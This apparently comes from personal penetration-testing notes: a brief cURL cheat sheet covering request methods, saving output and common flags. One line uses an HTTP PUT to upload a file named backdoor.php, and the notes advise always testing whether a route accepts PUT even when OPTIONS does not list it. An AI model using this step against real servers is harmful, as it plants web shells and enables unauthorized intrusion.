cURL Command

curl -X GET https://www.google.com [-v]

HEAD: Only return headers of the response
OPTIONS: View the HTTP methods supported by the route

# The route should support PUT method
curl https://www.google.com --upload-file ~/scripts/backdoor.php

On some sites PUT method will not be specified in the output of OPTIONS
Always test to see if the method can be used

# Save results to file
curl https://www.google.com -o ~/google.html

Flags
-O: Download Files
-L: Follow Redirect
-v: View request and handshake information
-I: View Header only